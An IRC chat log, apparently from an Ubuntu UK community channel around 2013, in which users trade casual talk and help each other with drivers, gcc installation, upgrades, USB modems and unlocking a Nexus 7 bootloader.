<lubotu3> bug 1116731 in linux (Ubuntu) "WARNING: at /build/buildd/linux-3.5.0/fs/inode.c:281 drop_nlink+0x46/0x50()" [Medium,Incomplete] https://launchpad.net/bugs/1116731
 * popey pops to the post office to send off his smashed Nexus 4 for repair â¹
<knightwise> Oh popey
<knightwise> what did you do ?
<MartijnVdS> he smashed his nexus?
<knightwise> Gowd. SMASHED ? as in willfully destroyed (only days before the release of ubuntu phone ? )
<bigcalm> popey: ah, a separate issue :) There is an update to the kernel waiting for me to install. I'm ever so cautious to upgrade anything as I have a mostly working system :)
<popey> knightwise: not willfully
<popey> it fell out of my hands, being made of the most slippery substance known to man
<popey> and not being particularly robust
<knightwise> popey: too bad :(
<knightwise> i'm pondering a nexus 4 for the moment.
<mungbean> i want one if i can run ubuntu desktop on it from a dock
<popey> nexus 4 doesn't have a dock does it?
<daubers> popey: http://www.thingiverse.com/thing:44773 tada
<daubers> Oh, wrong kind of dock
<daubers> sorry
<popey> âº
 * daubers printed a galaxy s2 dock for someone over the weekend
<mungbean> no dock for nexus 4? hmm i misread my g+ feed
<popey> well, I've not seen one
<popey> and I don't think the nexus4 does hdmi out
<bigcalm> How easy is it to roll back a kernel if needed?
<popey> sudo apt-get install package=version
<shauno> kernels aren't usually pruned by default, so your previous kernel would usually be in your grub menu still?
<bittin> has nothing do at work so started installing Ubuntu on some old thing we don't use :p
<bittin> as i think the IT dept needs an Linux client of some sort =D
<dwatkins> I have an old Pentium at work that wasn't doing much, it's now got my homepage on it with a bunch of really useful links.
<dwatkins> It also has vmware 2.0 installed and it's running a rock solid asterisk test VM
<bittin> these are Fujutsi ESPRIMO Q5000 ones
<dwatkins> you could run an entire test domain
<dwatkins> I never understood why Windows domain servers need to much power, but I've only really administered NIS domains, and they barely take any computing.
<MartijnVdS> because they CAN
<MartijnVdS> it's ENTERPRISE
<bittin> dwatkins: its 2 working computers so not that big of a domain :D
<dwatkins> This makes me want to see a comparison of linux versus windows in terms of domain/samba CPU usage, DHCP and file serving network and compute needs.
<davmor2> morning all
<bittin> morning
<bigcalm> Afternoon davmor2
<davmor2> bigcalm: so is this from your unity driven desktop and are you still liking the new workflow?
<bigcalm> When I change workspaces in Unity, it does a lovely sliding animation that would be lovely if I were to be using the binary nvidia driver. As I'm not, it's getting on my nerves with the slowness. Is it possible to turn the effect off and have the change be instant?
<bigcalm> davmor2: indeed, it's pleasing me for the most part :)
<davmor2> bigcalm: will the binaries not install?
<bigcalm> davmor2: I haven't looked yet. Maybe at the weekend
<bigcalm> Right now the system is usable enough. Just a little clunky
<davmor2> bigcalm: I'm not surprised you are probably running on llvm.
<bigcalm> So, can the effect be turned off? ;)
<davmor2> bigcalm: there are 2 things here 1. with the nvidia bin inplace it will run at the right speed.  2. no but I think there is a way to speed it up have a look at omg!ubuntu for tips on how :)
<bigcalm> Fair enough
<bigcalm> I want to keep the displays as I have set them up in Display Manager. Getting a horrible feeling that things will break when I try to use the nVidia binary
 * bigcalm slithers off to find some lunch
<davmor2> bigcalm: possibly
<bigcalm> davmor2: possibly what?
<davmor2> bigcalm: if you install the nvidia bin it will break but then you just uninstall it and fixed ;)
<bigcalm> Hope that's the case and it doesn't trash my settings
<davmor2> bigcalm: back up your settings be safe not sorry ;)
<mungbean> anyone think of a pretty way to visualise disk space used for a document?
<mungbean> |=========----|
<mungbean> in that form, but pretty
<popey> mungbean: http://www.asciiflow.com/ âº
<mungbean> hoping for colours and stuff :(
<bittin> popey: nice =)
<bittin> installed Ubuntu 12.04 on a box from 2008 my collouge wanted to throw away :p
<bittin> he wanted to trash 3 computers from 2008 only problem is that one misses its wlan antenna :p
<bittin> and ram memory
<bittin> gonna trash 1 out of 3 :p
<davmor2> mungbean: a pie chart you know everone loves pies hmmmmmmmmm pies
<mungbean> i actually want to show a chart with disk space free, currently used, and overprovisioned storage
<mungbean> and a visual guide to why 200% overprovisioned disk is bad
<jacobw> bittin: unity might be too heavy for those machines, if it is see if they're more responsive with MATE
<bittin> jacobw: works good but not sure what to do with them :D
<neuro> mungbean: what about a stacked bar? a la http://twitter.github.com/bootstrap/components.html#progress (see the Stacked entry)
<mungbean> neuro: stacked bar is exactly what i'm after, i guess i need to juggle %ages to fudge the results
<neuro> :)
<mungbean> thanks
<mungbean> neuro: used it before?
<neuro> used what before, bootstrap or a stacked bar?
<mungbean> bootstrap?
<neuro> i have, but i'm not suggesting you use the entire bootstrap framework for a chart, just create a stacked bar in whatever you're generating your document in
<mungbean> looks nice though, is it quick to implement?
<mungbean> resorting to libreoffice atm
<neuro> mungbean: if you like the look of it for webdev, the quick start is here: http://twitter.github.com/bootstrap/getting-started.html
<mungbean> chars
<bigcalm> Anybody using keepass 2 with linux. I hear that it can be run against mono
<bigcalm> Oh, it's already in USC :)
<mungbean> what's it do that keepassX doesn't - is that the online onw bigcalm ?
<bigcalm> mungbean: I have no idea. But my boss has moved to using the 'pro' version of keepass (he's a windows user). So I need to find a way to keep reading the database
<davmor2> bigcalm: just use the schwartz
<bigcalm> Heh
<bigcalm> I should get a copy of Space Balls to watch with Hayley. She doesn't know about the Schwartz
<mungbean> anyone remember how to transfer a chart from calc to LO writer?
<davmor2> mungbean: ctrl-c, ctrl-v
<bigcalm> Hehe, people are still faving and retweeting Sunday morning's tweet. I don't think I'll stop being amused by it
<davmor2> bigcalm: which one
<skybinary> hey yall :D, i have been having a lot of trouble with winmodem and a lenovo conexant modem, now i need a working modem, can anyone suggest one that may work?
<mungbean> davmor2: tried it?
<mungbean> doesn't work, copies a blank box
<mungbean> well eat my shorts davmor2
<mungbean> ctrl-c /v works
<mungbean> edit-copy , edit-paste doesn't
<davmor2> mungbean: it's the same in google docs that's why I asked :)
<bigcalm> davmor2: the tweet that lead me to write this http://www.myrant.net/2013/02/17/multi-screen-with-ubuntu-unity/
<davmor2> bigcalm: ah that one ;)
<mungbean> also have a weird issue where LO sheet tabs are miniscule, cannot get them bigger
<davmor2> mungbean: I can't help you there
<RZAFC> can someone help?
<davmor2> RZAFC: it's best to just ask and someone will get back to you
<RZAFC> I can't compile c program in gcc
<dwatkins> what happens when you try to, RZAFC? If the output is several lines, perhaps use pastebin.
<RZAFC> it says internal error in set_offset, at ../../gold/output.cc:4622
<RZAFC> collect2: ld returned 1 exit status
<popey> http://www.crucial.com/uk/store/partspecs.aspx?IMODULE=CT512M4SSD2
<popey> golly
<popey> 512MB SSD for 273 inc vat
<mgdm> blimey
<bigcalm> MB?
<popey> s/MB/GB/
<bigcalm> Is it possible to add a .desktop file to the Unity launcher without loading the program 1st?
<popey> eh?
<dwatkins> RZAFC: sounds like the source was written for a different version of the compiler or something - can you get the application from the repositories or elsewhere?
<bigcalm> I've added a .desktop file to ~/.local/share/applications/ and I would like it to appear in the launcher. The app appears in the dash when I search for it, but loading from the dash goes off and does things with wine that means I can't pin it to the luncher correctly
<popey> can you not just drag it into the launcher?
<popey> the way you can with any other desktop file you find in the dash?
<bigcalm> popey: I'm new to Unity :)
<bigcalm> popey: dragging worked, thanks
<popey> yay
<skybinary> help! recomend a usb modem?
<AlanBell> hi skybinary, most of them work these days
<skybinary> oh, i have 2 that dont :*(
<skybinary> sniff!
<AlanBell> this huawei E173 works
<popey> i would inclined towards huawei ones
<skybinary> thank you
<AlanBell> just trying to sort out a vodafone one though K3772, doesn't quite wokr
<dwatkins> I have a couple old Vodadfone ones which are Huawei devices. They worked well last time I checked.
<dwatkins> [with Ubuntu]
<AlanBell> this one goes into both stupid storage mode and modem mode at the same time
<skybinary> lol
<skybinary> i have had to edit the kernel and it is scary
<AlanBell> woah, no you probably don't!
<skybinary> http://www.silly-science.co.uk/2012/06/23/lenovo-usb-modem-in-linux-ubuntu-10-04/
<davmor2> bigcalm: It's easier to think of it in terms of a phone,  think of the dash as being the apps draw on android and the launcher as your quick list at the bottom of your s3.
<RZAFC> <dwatkins>I am removing everything and then I'm going to reinstall gcc
<davmor2> bigcalm: so you can drag a launcher icon to the bin to remove it etc.
<bigcalm> I wonder if I can get Spotify to pause (or even lower its volume) when skype receives a call
<davmor2> bigcalm: hope that made a modicum sense
<bigcalm> davmor2: ta
<dwatkins> RZAFC: the error looked more like a problem with the code - does a simple test (e.g. hello_world.c) compile ok?
<davmor2> bigcalm: install pavucontrol and I think you can in there but I've never tried it
<RZAFC> <dwatkins>this is what the code looks like http://paste.ubuntu.com/1677286/
<bigcalm> RZAFC: by including <> around nicknames you're talking to, it makes it look as though you are quoting them. It is exceedingly confusing
<RZAFC> bigcalm: ok
<bigcalm> RZAFC: thanks :)
<dwatkins> RZAFC: I'm confused, what are you trying to compile that fails?
<RZAFC> a simple hello world program
<popey> that hello world compiled fine here
<RZAFC> <dwatkins>what gcc should I install, does anyone know?
<shauno> what errors do you get trying to compile this example?
<popey> RZAFC: are you running ubuntu?
<popey> RZAFC: are you following some kind of tutorial somewhere?
<RZAFC> lubuntu and yes I am
<kvarley> RZAFC: Link to the tutorial so we can help you :)
<RZAFC> kvarley: http://www.cyberciti.biz/faq/compiling-c-program-and-creating-executable-file/
<kvarley> popey: ^
<RZAFC> great think i'm gonna have to reinstall lubuntu
<popey> it works here
<popey> wat!
<popey> re-installing the entire OS is almost certainly not the solution
<popey> i just typed that code into a file, compiled it and ran it
<dwatkins> how did you install gcc, RZAFC, and what version do you have?
<dwatkins> also, what version of lubuntu are you running?
<RZAFC> it won't let me log into lubuntu
<RZAFC> it starts me out at $
<RZAFC> I just removed everything i saw that was gcc related
<ali1234> like libgcc?
<RZAFC> then I rebooted and it started me out at $
<RZAFC> possibly, not sure
<popey> yeah, probably not wise to go around tearing bits of the OS out
<RZAFC> anyway, no one here has a solution so I'm gonna reinstall
<popey> hah
<RZAFC> It's an ols ppc anyway
<RZAFC> old*
<RZAFC> just my project compute
<RZAFC> r
<popey> next time I'd recommend not uninstalling stuff randomly âº
<AlanBell> RZAFC: sudo apt-get install build-essential will grab all the stuff you are likely to need for c development
<ali1234> and sudo apt-get lubuntu-desktop^ should fix your current situation, if it's still possible for you to run apt
<ali1234> assuming lubuntu has one of those meta package things
<RZAFC> ali1234: Thanx I'll stick note it now
<ali1234> for future reference, removing and reinstalling packages under linux does absolutely nothing
<ali1234> unless you have edited configuration files yourself
<ali1234> and if you have done that, just edit them back to how they were before
<skybinary_> :O
<skybinary_> wow! i did not realise how long it would take to rebuild the kernal
<popey> :D
<popey> http://www.ubuntu.com/
<skybinary_> tick tock
<bigcalm> popey: surprised that the count down isn't run with javascript. Having a static time upon refresh feels _very_ old
<mgdm> a bit, yeah
<popey> meh âº
<mgdm> you could use Flash for that... /me flees
<popey> s/flash/html5/
<popey> patches welcome ;)
<bigcalm> Haha
<bigcalm> popey: not a criticism, just surprised
<bigcalm> If I were to attempt to get the nvidia binary working, what would I backup so that I could be sure to be able to revert to this currently working state?
<popey> nothing
 * bigcalm noticies a lack of xorg.conf
<popey> just uninstall it if it doesn't work
<popey> or try and fix it
<skybinary_> purge it all
<bigcalm> Are you sure?
 * skybinary_ nods
<bigcalm> That's the thing. I don't want to have to go through 'trying to fix' anything. If it doesn't work, replace messed up config files
<popey> well..
<popey> stay here and we can help
<popey> go off on one on twitter and we can't âº
<bigcalm> After work :)
<bigcalm> Heh
<AlanBell> tablet time?? I thought it was a phone release?
<popey> unpossible!
<andylockran> ? is tablet release a new one
<andylockran> separate to the phone one?
<andylockran> ah - ubuntu is confusing me :(
<popey> heh
 * mgdm is considering an Nexus 7
<mgdm> though I won't be buying one immediately so I'll see what the countdown reveals first :-)
<popey> hah
 * popey covets his two Nexus 7's
<mgdm> I don't know anyone who has a Nexus 10
<mgdm> anyone here seen one?
<popey> I have played with one
<mgdm> any good?
<popey> its no ipad
<mgdm> heh
<andylockran> I've given up coffee for lent
<andylockran> what a mistake
<andylockran> absolutely hanging now :(
<Seeker`> you should be over the worst of it now
<andylockran> you'd think
<Seeker`> well, if you completely gave up caffeine, your body should have readjusted to it
<MartijnVdS> depends on how long ago he gave it up
<MartijnVdS> some people have headaches for a week
<MartijnVdS> (proof: my parents)
<Seeker`> well, given it was for lent, I'm assuming his last cup was 6 days ago
<MartijnVdS> I don't know when those things are :)
<MartijnVdS> good thing I'm not a catholic I guess ;)
<kvarley> First it was a phone
<kvarley> Now it's a tablet
<kvarley> What next?
<mgdm> kvarley: I read that to the tune of 'I Will Survive'
<kvarley> mgdm: Hehe
<kvarley> afk
<Seeker`> it's raining mgdm?
<Seeker`> wtf did I type that for
<MartijnVdS> â« it's raining mgdm, hallelujah?
<Seeker`> I should stop reading things on one screen and typing on another when I'm not looking
<mgdm> Seeker`: wat
<Seeker`> mgdm: ignore me
<mgdm>  /ignore Seeker`
<Seeker`> probably for the best
<bigcalm> I know I'm playing catch-up due to only just using Unity. Can one disable the amazon search in the dash but allow video search to continue to look in youtube for instance? So far it's all or nothing that I can see
<RZAFC> So does anyone know if; me having a ppc with lubuntu will cause any issues for downloading gcc?
<popey> yes bigcalm
<popey> RZAFC: how are you trying to download gcc?
<popey> bigcalm: sudo apt-get remote unity-lens-shopping
<bigcalm> popey: aha. Thanks
<bigcalm> popey: that still feels painful. I wonder if there's an alternative I can install that is in its own lens section
<popey> lol
<popey> RZAFC: "sudo apt-get install build-essential"
 * bigcalm shakes fist at "things"
<RZAFC> popey: what does that do?
<popey> installs gcc and other bits and bobs needed for compiling stuff
<RZAFC> ok
<RZAFC> great
<RZAFC> I tried upgading everything but I couldn't get out of the kernel and back into the desktop windows
<RZAFC> so now I'm reinstalling os
<jacobw> hang on
<jacobw> what happens when you start the computer?
<AlanBell> RZAFC: do not under any circumstances attempt to download and install gcc from anywhere other than from the repositories
<AlanBell> sudo apt-get install build-essential is all you need to do
<ali1234> wharrgarbl
<ali1234> i always download gcc from code sourcery
<ali1234> cos ain't nobody got time for building cross compilers
<AlanBell> ah but you are hardcore
<ali1234> \o/
<ali1234> finally getting the respect i deserve :P
<AlanBell> :)
<ali1234> code sourcery doesn't even exist any more
<ali1234> swallowed by some takeover
<ali1234> now you have to register you details just to download the free edition
<ali1234> and i think it's packaged anyway actually
 * AlanBell continues building essentialemails.com in django
<davmor2> AlanBell: essentialemails.com why not just point it at roundcube ;)
<jacobw> less fun
<davmor2> AlanBell: note I have no idea what essentialemails.com does :D
<jacobw> as AlanBell describes it, it's a selective email forwarder, it discards emails that don't match CONDITION for user@essentialemails.com and fowards mails to user@gmail.com for emails that match CONDITION
<davmor2> nice
<RZAFC> popey: Hell yes, gcc is working beautifully
<popey> super
<RZAFC> thanx man, you guys are lifesavers, now I have a purpose for this old mac book
<popey> Oh, thats what it is.. neat!
<RZAFC> ya it's a ppc
<AlanBell> davmor2: it emails you if you *don't* get an email you were expecting
<RZAFC> I already tried putting gentoo on it and failed. SO I was worried that I was going to have another problem
<AlanBell> nothing to do with roundcube
<RZAFC> Anyway, I'm out. Later guys.
<AlanBell> jacobw: not quite, you set up what you expect to get, and by what deadline and if your daily "backup complete" type email doesn't arrive by the deadline you set then it emails you
<davmor2> AlanBell: I was only joking about roundcube it just made it sound from the name that, that was what you were doing :)
<AlanBell> bit different :)
<constrictor> how do i find out what version of XOrg I am using, I'm on quantal
<AlanBell> !info xorg quantal
<lubotu3> xorg (source: xorg): X.Org X Window System. In component main, is optional. Version 1:7.7+1ubuntu4 (quantal), package size 3 kB, installed size 80 kB
<popey> dpkg -l xserver-xorg
<constrictor> and also what graphics drivers I am using currently "About this computer" says my graphics card is unknown
<popey> glxinfo | grep render
<popey> will give you a clue
<constrictor> don't have that package
 * AlanBell wonders what constrictor's real issue is
<bashrc> what is the countdown thing about?
<AlanBell> constrictor: /var/log/Xorg.0.log will contain more info than you probably want about how X started and what drivers it is using
<AlanBell> bashrc: my guess is that it has something to do with tablets
<bashrc> I figured that
<bashrc> maybe its ubuntu on android
<AlanBell> if I had to guess rather than wait 20 hours I would say that it was the release of an image for the nexus7 of the QML Unity variant that the ubuntu phone project uses
<bashrc> perhaps so
<AlanBell> because they have to get a single API across all devices somehow
<bashrc> the sooner they release that the more testing and development can be done
<popey> constrictor: you could install it?
<davmor2> constrictor: if you haven't installed any binary drivers then you are on the open source ones i you have an nvidia or ati/amd card then have a look at system settings â software sources â additional drivers tab
 * davmor2 still doesn't get why hardware drivers would be found in software sources though
<popey> blamempt
<popey> or something
<davmor2> popey: assignblame.py x = 0 while x !=10:  print "MPT broked it again " x += 1  something like that :D
<dwatkins> did something change recently in Unity limiting the size of the display across two monitors?
<dwatkins> oh I see, I have to use the ATI control centre
<ali1234> AlanBell: more like announcing the release of a nexus 7 image at some unspecified time in the future :)
<dwatkins> hmm, unity doesn't let me draw my own desktop background, it seems
<Azelphur> dwatkins: compiz wallpaper plugin?
<dwatkins> Azelphur: oh cool, does it let me run glmatrix as the background, too?
 * popey wonders if bigcalm has switched to nvidia binary driver yet
<Azelphur> dwatkins: ah your trying to use xwinwrap?
<Azelphur> or whatever the cool kids are calling xwinwrap these days
<dwatkins> yeah, maybe - I remember using that before, or possibly devilspie
<Azelphur> dwatkins: Nautilus draws the wallpaper by default, if you kill nautilus, then your thing might work
<Azelphur> if it does there's a dconf setting you can set to tell nautilus not to draw the wallpaper
<dwatkins> I unset a couple options in dconf-editor so nautilus shouldn't be drawing the background any more
<Azelphur> ah
<Azelphur> I have compiz drawing my wallpaper atm, but I use Xubuntu
<dwatkins> I may have to find where I put the source for xwinwrap...
<Azelphur> there's some newer fork of it now, I forget the name.
<dwatkins> shantz-xwinwrap, apparently
<Azelphur> wasn't what I was thinking of, but if it's actively maintained, go for it xD
<dwatkins> woohoo!
<dwatkins> thanks Azelphur, that did the trick, I was trying to use devilspie as that had worked in 10.04, but this works great
<Azelphur> :)
<Azelphur> dwatkins: last I tried that thing, it didn't work with multiple screens
<Azelphur> wonder if it does now
<dwatkins> indeed it does not, but the ATI driver keeps forgetting about my 2nd display, so I may as well just plug the Raspberry Pi into it and play media that way ;)
<Azelphur> hehe
<dwatkins> oops, I removed some options and now I have an 'enforced' screensaver I can't quite... time to ssh in
 * bigcalm returns from dinner and after dinner walk
<bigcalm> popey: about to look into it
<StevenR> So, a friend of mine is running 11.10. Can they go straight to 12.10 without stepping through 12.04? What will the automatic gui updater do?
<StevenR> (The gui updater seems to be offering 12.10)
<StevenR> (I can't go and look because it's about 200 miles away)
<popey> 11.10 will offer to update to 12.04
<popey> and 12.04 will by default not offer upgrade to 12.10
<popey> but can be set to
<popey> we recommend you go 11.10 -> 12.04 -> 12.10 (or stop on 12.04 and don't upgrade to 12.10)
<StevenR> popey: that's strange then.. because she specifically said it's offering 12.10 but lsb_release -a says she's running 11.10
<ali1234> cool, my steam bug was accepted :)
<ali1234> these valve guys don't mess around
<StevenR> popey: I was going to suggest she go to 12.04 and then stick to LTS releases... can I just switch the updater to LTS only, and will it then offer 12.04?
<Azelphur> ali1234: lol, they still didn't do anything about mine D:
<ali1234> Azelphur: the mic thing?
<Azelphur> yep
<ali1234> i'm sure there's a good reason for that. like proprietary libs or something
<Azelphur> \o/
<ali1234> did you report it on github btw?
<Azelphur> yup
<ali1234> ok. cos they don't seem to really check the forums
<popey> StevenR: thats the default
<popey> StevenR: LTS releases only offer an upgrade to LTS releases by default
<ali1234> StevenR: maybe it is offering 12.04.1
<popey> likely
<ali1234> also, doesn't the LTS remember the setting, if yu upgrade from a not-LTS release?
<ali1234> i've been seeing loads of people running 10.04 in VMs recently
<ali1234> (random aside)
<mgdm> Hmmm. I want a thing to split windows vertically in Chrome, along the lines of what Terminator does
<popey> it probably does if you start on an lts
<ali1234> by recently i mean the past week
<StevenR> popey: I'm not sure what she started with originally... probably maverick
<ali1234> upgrading is overrated... i prefer to start with a clean homedir and just bring over .mozilla and .ssh and anything else if/when i need it
 * StevenR prefers to track LTS because it's easier
<ali1234> it does lead to the "nested old directories of doom" problem though
<StevenR> ali1234: that way lies madness
<ali1234> grep and find :)
<bigcalm> popey: nvidia binary is installed. One screen is on, no unity and no window decorations
<ali1234> if you have multimonitor you are not going to want to run unity anyway
<bigcalm> ali1234: Why do you say that? It works fine with the nouveau driver :)
<ali1234> if you have any of the following use cases:
<ali1234> * running fullscreen game on primary monitor while reading a guide on second monitor
<ali1234> * watching video on second monitor while coding on primary monitor
<ali1234> then unity fails, because you need a launcher on both screens to do these things
<ali1234> and as soon as you enable that, you get a big annoying speedbump in between the displays
<bigcalm> Sticky edges can be disabled
<StevenR> popey: thanks. I'm mailing her some "how to make it offer LTS" instructions.
<popey> StevenR: you dont need to
<popey> StevenR: just run update-manager and it should offer an upgrade to 12.04
<ali1234> additionally, there's no support to only show icons for apps on the current monitor, so clicking an icon is confusing when it pops something up on the other monitor
<StevenR> popey: but it isn't
<ali1234> even more so than with workspaces
<ali1234> cos at least with workspaces you get some animation
<bigcalm> ali1234: why do you use Ubuntu when I have never seen you ever say a positive thing about it
<ali1234> i use ubuntu for the following reasons:
<ali1234> * debian packages, without having to deal with debian bug reporting system. launchpad is massively superior in every way
 * popey falls over
<ali1234> * indicators are actually amazing and far better than the old gnome tray rubbish, which doesn't support multimonitor
<ali1234> * but mainly because everything else is worse
<ali1234> ubuntu has fewer FTBFS bugs than any other distro i've ever used
<ali1234> dpkg-buildpackage just works.
<ali1234> in combination with apt-get build-dep
<ali1234> trying to do same thing with yum on opensuse or fedora is just a waste of everyones time, and when you report bugs, nobody cares
<ali1234> i also use the old ubuntu-human theme. that's not packaged for any other distros afaik.
<ali1234> up until 11.10 i had nothing but good things to say about ubuntu. well, except for the pulseaudio sillyness, but that is fixed now.
<ali1234> now someone is saying ubuntu phone uses wayland??
<ali1234> is any of this information actually legit or is everyone just wildly speculating?
<AlanBell> they have declined opportunities to say it is running xorg
<AlanBell> dunno if it runs wayland, there was talk of a "none of the above" option being developed in house
<popey> ali1234: "someone"?
<popey> someone... on the internet?
<ali1234> yes
<ali1234> popey: so there's no official announcement? surely you can tell me that :)
<popey> I can tell you that.
<popey> That there has been no official announcement that I'm aware of.
<ali1234> that goes for both wayland claims and the "pure QML" claim?
<UbuntuBhoy> will there be a stream of the 'thing' tomorrow
<UbuntuBhoy> like there was for UOS being announced ?
<popey> the press will announce it tomorrow evening I suspect
<UbuntuBhoy> hmm, would have been nice to have both steams running at once
<popey> both streams?
<UbuntuBhoy> HTC one as well
<popey> heh
<ali1234> can i back up the whole nexus 7 storage and restore it easily?
<ali1234> cos i've got loads of stuff on it that i don't want to download again
<ali1234> it's also not unlocked
<popey> they're easy to unlock/relock
<popey> I've done it with one
<ali1234> yes but it wipes the device
<ali1234> so i need to backup everything before i do that
<popey> I'm not sure what the best way to backup is
<popey> can you do that via mtp?
<UbuntuBhoy> ali1234: install a new recovery and you can nandroid backup to an external USB stick if you have an OTG cable
<ali1234> can i install a new recovery without unlocking it?
<UbuntuBhoy> if not
<UbuntuBhoy> ali1234: you need to unlock it to install ubuntu
<popey> i didnt think unlocking wiped it
<ali1234> i know that
<UbuntuBhoy> but you can lock it again
<ali1234> unlocking it wipes the device
<ali1234> i need to back it up before unlocking it
<UbuntuBhoy> nope
<ali1234> it says this in BIG LETTERS on the installation page
<UbuntuBhoy> installing ubuntu wipes it
<ali1234> "Warning: Unlocking the bootloader erases all data and resets the device to factory defaults."
<popey> I'll happily test this for you
<UbuntuBhoy> if in doubt you should still be able to backup with adb
<ali1234> https://wiki.ubuntu.com/Nexus7/Installation?action=AttachFile&do=get&target=unl.jpg
<UbuntuBhoy> another non root option is Carbon backup by Koush
<ali1234> i need to back up all installed apps
<ali1234> because i have a couple that are over 1GB
<UbuntuBhoy> there are a few non root app backup apps
<UbuntuBhoy> then copy the backup file to your pc
<popey> http://forum.xda-developers.com/showthread.php?p=32138597
<ali1234> i guess what i actually need is an exploit that unlocks it without wiping
<popey> people claiming it doesnt wipe there
<UbuntuBhoy> been a while since I did it
<UbuntuBhoy> but backup anything important first
<UbuntuBhoy> I am sure rooting will not wipe your device
<UbuntuBhoy> it never has on any handset or tablet I have had
<ali1234> americans who bought from google play store nearly a year ago, and with a totally different device made by a different OEM?
<UbuntuBhoy> OEM is the same
<ali1234> samsung == asus?
<UbuntuBhoy> for the N7
 * popey goes to get a cable to test it
<ali1234> http://forum.xda-developers.com/showthread.php?t=1752693
<UbuntuBhoy> unlocking a bootloader & flashing a recovery should not wipe your device
 * popey powers down nexus 7 for unlocking
<ali1234> but people who actually have the device say it does, and it displays a big warning stating that it will, when you unlock it
<UbuntuBhoy> then I bow to their knowledge
<ali1234> it's specifically to prevent you getting information out of a stolen phone
<popey> (bootloader) Bootloader is unlocked now.
<UbuntuBhoy> but ADB works without root iirc
<UbuntuBhoy> so you can pull anything you want
<directhex> nexus only means google. nexus devices have been made by asus, samsung, htc, lg
<ali1234> only if you can get into the phone to turn it on
<AlanBell> interesting that HTC are announcing something 1 minute before Canonical are.
<UbuntuBhoy> it will power on, but may stay screen locked
<UbuntuBhoy> directhex: I thought it was N7 specific
<UbuntuBhoy> rather than Nexus in general
<popey> its restarted twice
<directhex> n7 means asus
<popey> i suspect it's wiped
<UbuntuBhoy> did it give you a warning ?
<popey> it's giving me the welcome screen
<popey> yup, wiped
<UbuntuBhoy> AlanBell: their site banner confirms it is for the M7
<UbuntuBhoy> in which case I apologise ali1234
<popey> might as well flash this with ubuntu then :D
<popey> thanks ali1234 :D
<ali1234> did htc actually make a nexus branded phone or are you talking about G1/htc hero?
<AlanBell> what is that UbuntuBhoy?
<UbuntuBhoy> the Nexus One
<UbuntuBhoy> AlanBell: Their banner script
<UbuntuBhoy> m7.teaser.js and m7.track.js /*------------------------------------------------  HTC Global Site This stylesheet augments "styles.css" with new components as part of the 11/12 to 3/13 HTC (M7) product launch  --------------------------------------------*/
<AlanBell> the ubuntu.com timer is set to stop at 16:01 tomorrow
<ali1234> i will look for an unlock exploit that doens't wipe
<ali1234> unless i can just dd the /dev/mtd out over adb or something
<UbuntuBhoy> also look at Carbon backup by Koush, its non root
<ali1234> if it's non root it can't do a real backup
<AlanBell> UbuntuBhoy: oh, so perhaps nothing to do with the Ubuntu announcement?
<ali1234> or else i could just use adb :)
<UbuntuBhoy> I dont think so, but others will know better
<ali1234> i may as well just wipe and let it redownload everything
<ali1234> it's just a pain to set up the homescreens again
<ali1234> and configure google account
<ali1234> and all that stuff
<UbuntuBhoy> flash PA on it - lovely ROM
<popey> yeah
<popey> as soon as I got the welcome thing and it asked for my creds I just figured it was more fun to slap ubuntu on it
<popey> glad I bought two! :D
<popey> the kids can play Triple Town on the other one
<UbuntuBhoy> haha
<ali1234> sadly i can;t see a compelling reason to install ubuntu other than to look at it for half an hour and then go back to android
<directhex> ali1234, htc passion == nexus one
<popey> I'd like to test the ubuntu sdk on it
<ali1234> maybe i'll just try to blag a gnex or something
<UbuntuBhoy> I was let down for a GNex
<ali1234> ubuntu sdk already runs on android anyway :P
<UbuntuBhoy> hoping a HD2 port is not far away
<UbuntuBhoy> or a One X, but I fancy the HD2 to get done quicker
<bigcalm> Anybody played Lume care to point me in the right direction for working out the 3 combinations needed for the padlock on the cupboard under the sink?
<bigcalm> I have the 1st combination by chance. Tried 123 and it worked
<UbuntuBhoy> never heard of it
<ali1234> apparently the solution is in a book or something /google
 * bigcalm reads more of the books
<ali1234> did anyone figure out dual boot on n7 yet?
<UbuntuBhoy> yip
<UbuntuBhoy> very easy
<ali1234> oh?
<UbuntuBhoy> even dual boot with Linux
<UbuntuBhoy> 2 secs
<ali1234> dual boot with linux? what else would you want to dual boot?
<UbuntuBhoy> multiple Android ROM's
<UbuntuBhoy> boot one from a USB drive
<ali1234> found it
<ali1234> ugh
<UbuntuBhoy> K
<UbuntuBhoy> save me linking
<ali1234> no, i want dual booting from internal nand
<ali1234> i don't have OTG cable
<ali1234> its kexec based
<UbuntuBhoy> you can do that too
<UbuntuBhoy> but multi booting externally gives a load more options
<ali1234> lol this "dual boot" method wirks by storing the roms on usb. and every time you want to switch, it reflashes the whole rom
<UbuntuBhoy> due to limited space on the N7
<UbuntuBhoy> not the one I mean then
<ali1234> limited space? it has 32GB...
<UbuntuBhoy> not mine
<UbuntuBhoy> I have the 16G
<ali1234> this is the exact same solution we had on the N900
<UbuntuBhoy> http://forum.xda-developers.com/showthread.php?t=2011403
<UbuntuBhoy> that ^^
<ali1234> i may have to port u-boot. does it support this soc at all?
<ali1234> tegra3, yes
 * popey flashes n7 back to androifd
<popey> -f
<UbuntuBhoy> :D
<popey> I hope you're happy ali1234! âº
<ali1234> why?
<popey> j/k
<ali1234> no, i mean why flash back to android?
<ali1234> did you get bored of ubuntu that quickly??
<popey> heh, I've had ubuntu on this before
<UbuntuBhoy> popey: you have used the Ubuntu Phone OS, would it scale to a tablet or do you think it would be a waste ?
<popey> ask me again next week
<UbuntuBhoy> lol
 * Azelphur shakes the 8ball again
<UbuntuBhoy> by next week I could have an N7 port
<AlanBell> not in 17 hours?
<popey> no comment
<Azelphur> this 8ball is useless :(
<UbuntuBhoy> not with HTC anyway
<ali1234> i'm still waiting for packaging guide :(
<popey> for phone?
<ali1234> there's not much point writing hundreds of "my first app" tutorials when nobody knows how to package the result
<ali1234> for phone, yes. but also for just general ubuntu
<ali1234> please don't like to the ubuntu packaging guide or the debian packaging guide, i've read them
<ali1234> they both just made me even more confused and resistant to packaging things
<UbuntuBhoy> yay, bar shut. Quick beer then clean the lines.
<popey> you work in a bar?
<UbuntuBhoy> yeah
<UbuntuBhoy> Ha, the HTC tablet the sites are linking to Ubuntu is a Windows tab
<popey> hah
<UbuntuBhoy> bit of a come down to say the least
<redtape-renegade> popey, UbuntuBhoy , I'm in my batcave :      https://dl.dropbox.com/u/55128914/Attachments%20Email%20Xchat/batmanhotel.jpg
<UbuntuBhoy> WOW
<UbuntuBhoy> that is fan-fecking-tastic
<redtape-renegade> Authome !!
<UbuntuBhoy> that is immense - my kids would love that
